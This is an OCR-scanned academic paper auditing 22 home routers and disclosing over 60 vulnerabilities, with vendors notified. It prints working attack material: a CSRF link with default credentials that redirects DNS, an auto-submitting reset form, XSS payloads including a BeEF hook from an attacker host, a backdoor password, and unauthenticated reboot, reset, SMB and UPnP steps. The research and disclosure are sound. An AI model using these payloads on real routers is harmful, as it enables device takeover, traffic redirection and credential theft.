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Revisiting SOHO Router Attacks
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Domestic routers have lately been targeted by cybercrime due to the huge amount of well-known vulnerab-
ilities which compromise their security. The purpose of this paper is to appraise SOHO router security by
auditing a sample of these devices and to research innovative attack vectors. More than 60 previously un-
disclosed security vulnerabilities have been discovered throughout 22 popular home routers, meaning that
manufacturers and Internet Service Providers have still much work to do on securing these devices. A wide
variety of attacks could be carried out by exploiting the different types of vulnerabilities discovered during
this research.
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1 Introduction

Small Office Home Office routers are a key element
in modern communications. Every host connected to
a domestic network, exchanges information messages
with other network devices through a SOHO router.
This allows for an efficient interconnection between
devices across the world.

Given the fact that SOHO routers are used in every
home and small business, any security flaw affecting
one of these devices may have a huge impact in terms
of service availability and users’ privacy. Moreover,
the continuous increase in the number of devices con-
nected to the Internet brings cybersecurity to a whole
new level where new challenges and threats arise.

During the last couple of years, several security re-
searchers have highlighted the security problems that
affect these devices [1] [2]. The main goals of this re-
search are:

1. Evaluate the current security level of routers by
searching for vulnerability issues that may affect
end users in the future.

2. Explore innovative attack vectors.
3. Develop tools that exploit the discovered flaws.

4. Build an audit methodology that eases the pro-
cess for future researchers.

Manufacturers and Internet Service Providers will
design further secured devices by using the results
obtained so far.

2 Router basics

All of the analyzed routers offer numerous configura-
tion interfaces aimed at end users.

1. Web Interface: A user-friendly web page provid-
ing an easy and intuitive way to carry out con-
figuration changes, as shown in figure 1. An au-
thentication process is required to gain access to
the web configuration interface.

2. Command Line Interface: Provides another way
to configure the router by using an integrated
restricted terminal interface, as shown in figure
2. Usually, neither using traditional shell com-
mands nor accessing the filesystem, are available
options. It can be accessed via telnet and, in some
cases, SSH. An authentication process is required
as well.

In addition to the aforementioned configuration inter-
faces, routers may provide more services, such as FTP
and SMB servers, or support multiple protocols, in-
cluding Universal Plug and Play.

Many of these services, e.g. FIP and telnet, are con-
sidered insecure and should be replaced for their su-
perior and safer alternatives: SFTP and SSH, respect-
ively. It is worth taking into account that most of
the evaluated routers have UPnP protocol enabled
by default, which allows unauthenticated attackers to
change critical configuration settings.

Furthermore, most of the services provided by these
devices are actually not useful for users and largely
increase attack surfaces. The number of open ports,
even for remote WAN connections, is unacceptable in
certain cases.

Another common security deficiency is the usage of
default public credentials to access configuration in-
terfaces. None of the evaluated routers uses randomly
generated strings as default credentials, thus making
any attack much easier to carry out given the fact that
the vast majority of users do not change the router’s
administrative password. Figure 3 shows the distri-
bution of default credentials on analyzed devices.

3 Security flaws

Depending on the type of vulnerability being ex-
ploited, router attacks can be carried out from differ-
ent locations:

1. Within victim’s Local Area Network. In this case,
the attacker is connected to the victim’s local net-
work using an Ethernet cable.

2. Wirelessly connected to victim’s Local Area Net-
work. Common attack scenario in free Wi-Fi
Hotspots spread out along restaurants and coffee
shops.

3. Remotely. The attacker is outside of the victim’s
local network. Anyone who connects to the In-
ternet using a vulnerable router is prone to get
attacked. Remote attacks could be used to either
infect multiple computers (botnet) or to accom-
plish targeted attacks.

An attacker may exploit a remote vulnerability, such
as opening router key ports to WAN, in order to be
able to exploit local-only security flaws.

Discovered security vulnerabilities are detailed next.

3.1 Cross Site Request Forgery (CSRF)

It is possible for an attacker to change any router con-
figuration setting by sending a specific malicious link
to the victim. The attack is always carried out re-
motely and aims to change the legitimate DNS server
to a rogue one. This allows an attacker to comprom-
ise victim’s privacy, redirect browser requests to mali-
cious websites, and ultimately build a botnet, among
other things.

In order to achieve a successful attack, the victim
needs to be already logged into the web configuration
interface. However, login credentials can be embed-
ded in the aforementioned malicious URL, making
this attack scenario feasible if the administrator pass-
word has never been changed (extremely often). As
can be seen in figure 4, some browsers will display a
popup message warning about the login attempt; but
the most used web browser [3] [4], Google Chrome,
shows no warning at all, causing the attack to be com-
pletely imperceptible to the victim’s eyes.
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V) TECOM ADSL Router

Site contents: Wireless Basic Settings

This page 15 used to configure the parameters for wireless LAN clhients which may connect to yo

Disable Wireless L AN Interface

Band: 24 GHz (B+G)
Mode: AP T

SS5ID: P=yRouter
Channel Number: Auto ¥

Radio Power (mW): |[&0 mW ~

Associated Clients: Show Active Clients

i Statistics

Apply Changes

Figure 1: Web configuration interface

ADSL Ma

Figure 2: Command Line Interface
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User / Password

m1234 /1234
Hadmin / admin

i [blank] / admin

B admin / password

m vodafone /vodafone

Figure 3: Default credentials

Confirm

é You are about to login to the site "192.168.1.1" with the username "1234".

Cancel | l Ok

Figure 4: Firefox/Iceweasel warning message
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For instance, the following URL changes DNS serv-
ers on Observa Telecom AW4062 routers by taking ad-
vantage of public default credentials’.

By using URL shortening services, such as BitLy and
OwlLy, links can be reduced and obfuscated. As
shown in figure 5, the shortened link goes easily un-
noticed.

Likewise, a website containing the malicious para-
meters will also accomplish the job. An example of
malicious website can be seen in figure 6.

The impact of the attack may be increased by sharing
the link on social networking sites and making use of
social engineering tricks that encourage users to open
the malicious URL.

3.2 Persistent Cross Site Scripting (XSS)

It allows an attacker to inject malicious script code
within the web configuration interface. Session hi-
jacking and browser infection are the main goals. The
attack may be performed either remotely, by sending
a malicious link to the victim (analogous to CSRF at-
tacks, as seen in figure 7); or locally, if credentials have
never been changed (figure 8).

In each of the discovered XSS attacks, the script code
remains stored within the web configuration inter-
face. Depending on the router model, script execution
may happen either immediately after the injection or
when accessing a certain part of the web such as the
home page.

Some of the input fields where the code is injec-
ted only accept a limited number of characters. To
avoid this restriction, Browser Exploitation Frame-
work (BeEF) hooks [5] are greatly useful, since they
link to a more complex script file hosted by the at-
tacker’s computer. The following URL shows an ex-
ample of XSS exploitation making use of BeEF hooks?.
The infected browser can be observed in figure 9.

3.3 Unauthenticated Cross Site Scripting

In this particular case, the script code injection is per-
formed locally without requiring any login process.
This is achieved by sending a DHCP Request PDU
containing the malicious script within the hostname
parameter [6]. As shown in figure 10, after sending
the PDU with valid parameters (client MAC address,
requested IP address and malicious hostname), router
replies with DCHP ACK and the malicious script will
be injected within the Connected Clients (also known
as DHCP Leases) table.

The attack is graphically explained in figure 11.

The malicious DHCP Request PDU can be sent by us-
ing one of the following methods:

1 http://1234:1234@192.168.1.1/ goform /formDNS?dnsMode=
dnsManual&dns1=37.252.96.88&dns2=&dns3=

2 http://1234:1234@192.168.1.1/goform?param=
<script src="http://NoIPDomain:3000/hook.js">
</script>

e Custom scripts that allow the alteration of host-
name parameter.

¢ Packet manipulation tools such as Scapy [7].
e dhclient —-H <hostname> command [8].
* /etc/hostname file modification.

3.4 Privilege Escalation

A local or remote user without administrator rights
is able to escalate privileges and become an adminis-
trator.

The attacker takes advantage of the existence of non-
administrative users (i.e. user:user), which are hidden
and thus come with default passwords.

By connecting as this unprivileged user to the router
FTP server, the attacker is able to download both
/etc/passwd and config.xml files, as seen in fig-
ure 12. The last one stores each of the router configur-
ation parameters in plain text, including the creden-
tials from all users. Part of the file is shown in figure
13.

By doing so, any user is able to gain administrator
privileges.

3.5 Information Disclosure

Without requiring any login process, an external at-
tacker is able to obtain critical information, such as the
Wi-Fi password and WLAN parameters, the Internet
configuration settings, and a list of connected clients,
among others.

The security breach is caused by improper file per-
missions and unexpected debugging messages. In
some cases, an incorrect configuration of supported
APIs (e.g. JSON), causes the router to periodically an-
nounce unprotected files containing critical informa-
tion, as shown in figure 14.

Exploitation is as simple as accessing to the exposed
file (figure 15) or web page (figure 16).

3.6 Backdoor

The existence of hidden administrator accounts,
which go completely invisible to end users, allows
any attacker to easily change router configuration set-
tings either through the web interface or telnet.

Figure 17 shows a backdoor administrator user,
named »admin«, whose password is

»7449airocon«. This user does only appear in the
backup configuration XML file and cannot be de-
leted.

3.7 Bypass Authentication
An unauthenticated attacker is able to carry out router

configuration changes by taking advantage of im-
proper file permissions or service misconfiguration.
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http://bit.ly/1LCuJldO COPY
123412348192 168 1. /goform/formDNS?dnsMode=dnsManual &dns1=37.252 96 88&dns2=&dns3=

Figure 5: Shortened malicious link

r y!

| @ csrfnetgearrestore.php >

1 <form name="myform" action="http://192.168.1.1/goform/RgConfirmErase" method="post"'s>
2 <input type="hidden"

3 name="NetgearResetDefaultsFlag’
4 valug="1"/>

5 </form>

3}

7

8 <script>

9

18 document .myform.submit() ;

11

12 </script>

Figure 6: Malicious website

TinyURL was created!

The following URL:

1234:1234@192.168.1.1/goform fformSnmpConfig?
snmp_enable=0&snmpSysDescr=5System+Description&snmp
SysContact=System+Contact&snmpSysName =%3Cscript %3
Ealert%28%27Vulnerable +a+X55%27%29%3C%2Fscript i3
E&snm pSysLocation=System+Location&snmpSysObjectiD=1
.3.6.1.4. 11697 2&snmpTrapIpAddr=192.168.1. 254&snmpCo
mmunityRO=publicBsnmpCommunityRW=public&save=Apply
+Changes&submit-urd=%2Fsnmp.asp

has a length of 375 characters and resulted in the following TinyURL whi

http: / ftinyurl.com /f negug 5t
[Dpen in new windew] [Copy to clipboard]

Figure 7: Remote script injection

System Contact |System Contact

System Name <script=</script=
System Location |System Location

Figure 8: Local script injection

http:/ /www.sicherheitsforschung-magdeburg.de/publikationen/journal. html


http://www.sicherheitsforschung-magdeburg.de/publikationen/journal.html

Magdeburger Journal zur Sicherheitsforschung // Ausgabe 14, Jahrgang 7, Band 2 (2017) 803

Hooked Browsers
4 ) Online Browsers
455127.00.1 J Details ” Logs ” Commands ” Ricler ” X=sRays ” lpec l
@D 87001
4 5 Offline Browsers
41]192 168.15

7MW 19718812

[ Getting Started "” Logs ” Current Browser l

= Category: Browser (7 Items])

Browser Name: Firefox

Browser Version: 31

Browser UA String: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Ik
Browser Language: en-LIS

Browser Platform: Linux xB6_64

Browser Plugins: Shockwave Flash-v.11.2.202.442 Gnome Shell Integration-v.

Window Size: Width: 1920, Height: 88

= Category: Browser Components (14 ltems)
Flash: Yes
VBScript: Mo

PhoneGap: Mo

Figure 9: List of infected browsers in BeEF

8 0.066488000 0.0.0.0 255, 255.255.255 342 DHCP Request - Transaction ID Oxfa244e52
S 0.076182000 192.168.1.1 162.168.1.34 DHCP 326 DHCP ACK - Transaction 1D Oxfa244e52
10 0.210130000 :: ffo2::18 ICMPVE 90 Multicast Listener Report Message v2

11 0.610060000 :: ff02::1:ff76:eaa8 I1CMPVE 78 Neighbor Solicitation for feS0::5627:leff

DHCP: Request (3)
- Option: (S0) Requested IP Address
Length: 4
Requested IP Address: 192.168.1.34 (152.168.1.34)
Option: (12) Host Name
Length: 25

Host Name: <script=alert(l)</script>
-] Option: (SS) Parameter Request List
Length: 17

Figure 10: DCHP ACK response to malicious DHCP REQ

Figure 11: Unauthenticated XSS attack
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tnep 79.156.2688.75

onectado a 7?.156.208.75.
228 <none> FTP zerver C(GHU inetutils 1.4.1» readwyw.
suardo (79.156.208.75:Cnonel?: user
331 Password required for user.

ontrasefa:

2380 User wuser logged in.

ftp>* get config.xml

2AA PORT command sucessful.

15A Opening ASCII mode data connection for ‘config.xml’ (21142 hutesl.
226 Transfer complete.

Figure 12: Downloading files from FIP server

<Value Value="1234" Name="SUSER_NAME'"/>
<Value Value="ROuterSecurltyIzStrOong"” Name="SUSER_PASSWORD"/>

Figure 13: Administrator credentials in plain text

HTTP 642 GET /cgi-bin/webproc?getpage=html/gui/APIS/returnInternet]SON. txt&var:page=returnInternetJSON. txt& =1434644610118

HTTP 630 GET /cgi-bin/webproc?getpage=html/gui/APIS/return3GISON. txt&var:page=return3GISON. txt& =1434644610116 HTTP/1.1

TCP 60 80-1198 [ACK] Seq=1 Ack=589 Win=7016 Len=0

TCP 60 80-+1196 [ACK] Seq=l Ack=577 Win=6992 Len=0

HTTP 640 GET /cgi-bin/webproc?getpage=html/gui/APIS/returnDevices]SON. txt&var:page=returnDevices]SON. txt& =1434644610117 HT
TCP 60 80-+1197 [ACK] Seqg=l Ack=587 Win=7012 Len=0

HTTP 634 GET /cgi-bin/webproc?getpage=html/qui/APTS/returnwifilSON. txt&var:page=returnwifiJSON. txt& =1434644610118 HTTP/1.1

Figure 14: Unprotected files being announced

€« I [ http://192.168.1.1/cgi-bin/webproc?getpage=html/gui/APIS/returnWifi)JSON.txt&var.p m

{ "RETURN":{ “success": true }, "WIFI": { "status":"1", "ssidName":"Amelia™, "ssidVisibility":"1",
"channelMode™: "MANUAL", "channel™:"4", "SECURITY":{ “"cipherAlgorithm": "WPA" , "algVersion": "WPA1l" ,
"passwordWEP":"12345", "passwordWPA":"GUS51986", "passwordWPA2":"GUSS1986", "passwordAUTO":"GUSS1986" } 1},
"DHCP™: { "status":"1", "poolStart":"192.168.1.33", “poolEnd":"192.168.1.254" }, "LAN": { "ip": "192.168.1.1"
, "mask™: "255.25%5.255.8",
"ipleafPath”:"InternetGatewayDevice. LANDevice. 1. LANHostConfigManagement.IPInterface.l. IPInterfacelPAddress”
}» "DNS": { "dns":"B@.58.61.250,88.58.61.254" }, "IPVE": { "ipwe": "fe8@::e6cl:46ff:fees:3818", "globalipve™:
", "prefixLen": "64", "interface™: "", "mode™: “1", "minID": "33, "maxID": "254" }, "PREFIX": [ { "prefix”

/"y "name™: "PWC:8/36" } , { "prefix": ", "name": "PVC:8/32" } , { "prefix": ™", "name": “ppchgﬁ P11}

Figure 15: Exposed JSON file
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J http:/f192.1...n_info.html X g0
€ & 192.168.1.1/hidden_info.htm
i Most Visitedv IlOffensive Security W Kali Linux ' Kali Docs EBExploi

Manufacture Information

FW Version: EU 1.01

Serial number: MN/A

2.4G S5I1D: MORIADSL

2.405 PassPhrase: Tortuga

2.40C Data rate: Up to 130.0 Mbps
2.45G Channel: 0

2.40 Coexist: enable

56 SSID: M/A

5G PassPhrase: MN/A

50 Data rate: N/A

50 Channel: MNFA

20 Coexist MN/A

2.406 WLAN MAC: 70:62:B8: N
26 WLAN MAC: MNIA

LAN MAC: 70:62:B5:EGEGN
WAN MAC 1: MN/A

WAN MAC 2: MN/A

WAN MAC 3: M/A

PIN Code: 82327145
Region: GB (GB/1) UNITED KINGDOM

Figure 16: Exposed web file
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&

</chainz
<chain H="L.|5EHf‘l.ﬁ.f-'IE_F'ﬁ.SSI.'JDRD"}

<V N="FLAG" V="0xa"/:

<V N="USERNAME" W="1234"/>
<V N="PASSWORD" W="1234"/>
<V N="BACKDOOR" V="@xe"/>
<V N="PRIORITY" V="@x2"/>

<fchainz
<chain H="USEHT‘JN-'IE_F‘;E-.SEL-JDRD"}

<V N="FLAG" V="0xa"/:
<V N="USERNAME" V="admin"/>
<V N="PASSWORD" V="744%airocon"/>

<V N="BACKDOOR"™ V="8x1"/>
<V N="PRIORITY" vV="@x1"/>
<fchainz

|1 192.168.1.1/form2saveConf.cgi?submit.htm?saveconfh

Figure 17: Backdoor administrator user

In a few router models, an attacker is able to bring on
a permanent denial of service by constantly accessing
the /rebootinfo.cgi URL, as seen in figure 18.

The attacker is also able to force the router to re-
set to default configuration settings by accessing the
/restoreinfo.cgi URL (figure 19). After that, any
user is capable of logging into the router by using the
default credentials.

In both unauthenticated attacks, the router replies
with HTTP 400 status code, but either the reboot or
the configuration reset is being executed anyway:.

The SMB file sharing service integrated in a few
devices may represent a critical security risk due to
an erroneous configuration of the wide links feature
[9]. This allows an unauthenticated attacker to down-
load the whole router filesystem by either locally or
remotely connecting to the Samba server.

As shown in figures 20 and 21, there is a shared ser-
vice (called storage) in which it is allowed to create
symbolic links to the router filesystem and download
the content.

An unauthenticated attacker is able to freely view and
download the entire filesystem, including passwd
and router configuration files. Uploading modified or
new files to the router is also feasible by using put
and mput built-in commands.

A misconfiguration of the Twonky Media Server ser-
vice, supported by numerous models, allows ex-
ternal attackers to manipulate the contents of the
USB storage device hooked up to the router. This
includes downloading, modifying, deleting and up-
loading files to the USB drive, without requiring any
login process.

In order to do so, the attacker only needs to access the
router IP followed by the 9000 port, as can be seen in

figure 22.

3.8 Universal Plug and Play

The Universal Plug and Play protocol is enabled by
default on several router models. It was designed to
facilitate connections between different home devices.
For example, it allows computer applications to ex-
ecute network configuration changes, such as open-
ing ports, in order to enhance their performance
without user intervention.

This protocol is extremely insecure [10] due to the lack
of an authentication process to carry out configuration
changes. Moreover, router manufacturer implement-
ations are often awful [11] [12], granting attackers the
ability to open critical ports for remote WAN hosts,
terminate any WAN connections and perform Blind
Command Injection attacks, between other things.

To locally exploit UPnP weaknesses, a client applica-
tion tool, such as Miranda [13], is highly recommen-
ded. First of all, a SSDP multicast PDU is sent with
the aim of determining supported devices on the net-
work, as seen in figure 23.

Domestic routers usually support multiple UPnP ac-

tions, being AddPortMappingand ForceTermination

the most useful ones from an attacker’s perspective.
Some of the available options are displayed in figure
24.

As a result of a bad protocol implementation,
the NewlnternalClient parameter is not properly
checked, hence making an unauthenticated attacker
capable of opening ports to remote WAN hosts, as can
be observed in figure 25.

Remote UPnP exploitation is possible if the victim
accesses a particular website containing a malicious
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V6 vocsfone - |

@ ) @ [)192.168.0.1/rebootinfo.cg
! Apps (@ Debianorg @ Latest News @ Help

Home Gateway reiniciar
El Equipo ha side configurado v esta reiniciandose |

Cierre la ventana de configuracion del Equipo y espere 2 mimitos antes de volver a abiir de su navegador web

Figure 18: Permanent Denial of Service

@ QM [)192168.0.1/restoreinfo.cq
i Apps (@ Debianorg (@ Latest News (@ Help

Figure 19: Restoring router to default settings

b B Sat Jan
b B Sat Jan

plocks of size 512. b s available

Figure 20: Connection to the storage service
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A= symlink / barra
v> cd barra
\barra\> 1s

[

D

D
dev D
atc D
1lib [N
Tinuxre A
mrit D
proc
sbin D
tmp D
usr D
var D
webs D

Tue Feb 19 16:41:16
Tue Fep 19 16:41:10
Tue Fep 19 16:41:13
Tue Feb 19 16:41:13
Tue Feb 19 16:41:13 2
Tue Feb 19 16 122 2
Tue Feb 19 16 122
Sat Jan
Sat Jan
Tue Feb
Sat Jan
Tue Feb
sat Jan
Tue Feb

oRoRoRo]

-2

[ (% ]
Y]
[} ]
—
Lo ]

s I s s B

3:27
16:29:58
OE:13:27 2000
16:35:11 2013

=

e e Bl T I S

s I s s e s

-
o

40960 blocks of size 512. 1 blocks available

Figure 21: Symbolic link to / directory

(r 1wm+:3,-r-1m aservern x D
@& Q@& 519216801

it Apps (@ Debianorg (@ Latest News (@ Help

Wol/mek™

Vodafone ADSL Router [2]

Caopyright & 2004

zooa

FacketVideo Corporatian.
All fight esensed

Figure 22: Symbolic link to / directory
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upnp= msearch

Entering discovery mode for 'upnp:rootdevic

upnp= Senc
AddPortMapping
DeletePortMapping

[ ]
D (D
—+

[|&}
—+

Rt R R

D

Figure 24: Example of UPnP available actions

SWE file [14] [15]. This Flash file silently performs
an AddPortMapping action (or any supported UPnP
option), changing the firewall rules in the back-
ground. By doing so, a remote attacker may be able
to exploit local-only security flaws if critical ports are
open to WAN hosts. A graphical explanation of the
attack can be seen in figure 26.

4 Tools

Multiple exploiting tools have been developed
throughout the research.

1. SendDHCPRequest. Sends a malicious DHCP
Request PDU with custom parameters to any
DHCP server on the network. Useful for Unau-
thenticated XSS attacks.

2. ChangeHostname. Simple script that changes
computer’s hostname. Handy for Unauthentic-
ated XSS attacks.

3. SMBExploit. This tool tries to create a symbolic
link in the desired shared service. If router is vul-
nerable, it will download the entire filesystem.
Helpful for SMB Symlink attacks.

In addition, discovered vulnerabilities were added to
the RouterPwn project [16] so users and researchers
are able to effortlessly check for vulnerable devices.

5 Audit report

More than 60 previously undisclosed security vulner-
abilities have been discovered, affecting 22 different
SOHO router models. Most of them are extremely
popular in Spain, where Internet Service Providers

tend to give these products away to their custom-
ers.

Devices from manufacturers such as Amper, Astoria,
Belkin, Comtrend, D-Link, Huawei, Linksys, Netgear,
Observa Telecom, Sagemcom and Zyxel, have shown
multiple security weaknesses as can be seen in figure
30.

Figure 31 shows vulnerability distribution by types.

A comprehensive list of all the vulnerabilities, as well
as the affected router models, can be seen in tables 1
and 2.

Each of the discovered vulnerabilities has been repor-
ted to both the manufacturers, so that they are able to
fix the issues as soon as possible; and multiple Vulner-
ability Databases, such as MITRE (CVE-ID) or OSVDB
[17]. After giving adequate time for the manufactur-
ers to fix the security problems, vulnerabilities were
disclosed [18] [19].

6 Conclusion

The results obtained so far indicate that the vast ma-
jority of SOHO routers are affected by serious security
flaws. Some of these are critical and could be eas-
ily exploited by cyber criminals, putting end users
and small businesses at risk. It can be concluded that
router security has not been improved over the last
years. In fact, new security breaches and offensive
vectors arise, increasing attacker’s arsenal.

Both manufacturers and Internet Service Providers
ought to make a joint effort in order to fix the huge
amount of security problems affecting SOHO routers
today.

On top of the vulnerability analysis procedure, mul-
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upnp= host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name:
Data Type

Required argument:

Argument Name:

Data Ty

nternalClient value to: 37.25

Required arc

Argument Name:
Data Type

Required argument:
Argument MName:

Values:
xternalPort value to: 12345

Figure 25: Remote port forwarding

Figure 26: Remote UPnP attack
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root@Psyco-UbuntuvM:~# . /SendDHCPRequest

Usage: SendDHCPRequest <Client MAC> <Request IP> <Domain> <Injected Hostname>
> Inject the malicious script into the hostname field

root@Psyco-UbuntuVM: ~# ./SendDHCPRequest 0800272ea3Be 192.168.1.40 Whatever "

<script>alert(1)</script>"

Sent from @ to
Xid: 984192. Client MAC:
Injected hostname:

Figure 27: SendDHCPRequest

root@psyco:~# ./ChangeHostname.sh "<script=alert(1l)</script>"
root@<script=alert(1)</script>:~# cat fetc/hostname
<script=alert(1)</script>

Figure 28: ChangeHostname
sktop
ME] C
and n g
e 3444 as
e 104504 as ads

L-of size 104504

Figure 29: SMBExploit

m Number of affected routers m Discovered vulnerabilities

18
16
14
12
10

[ T S - N = B ¢

ﬁy

Figure 30: Vulnerabilities by vendor
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W X55
B Unauthenticated X55
M C5RF
B Denial of Service
B Privilege Escalation

- M Information Disclosure

29 M Backdoor
39 B Bypass Authe ntication

EUPnP

Figure 31: Vulnerabilities by types

Denial of Privilege

Router XS5 Unauth. XS5 CSRF service Escalation

D-Link DIR-600

Table 1: Vulnerability listing 1
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Information Bypass

Router Disclosure Backdoor Authentication

upnp

Comtrend WAP-5813n

D-Link DSL2750B

Sagem LiveBox Pro 2 SP

Sagem F@st 1201

Observa Telecom RTADIN

Observa Telecom VH4032N

Huawei HG556a

Amper ASL-26555

Netgear CG3100D

Zyxel P 660HW-B1A

Table 2: Vulnerability listing 2
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tiple exploitation tools and an audit methodology
have been developed with the purpose of facilitating
the work for future researchers.
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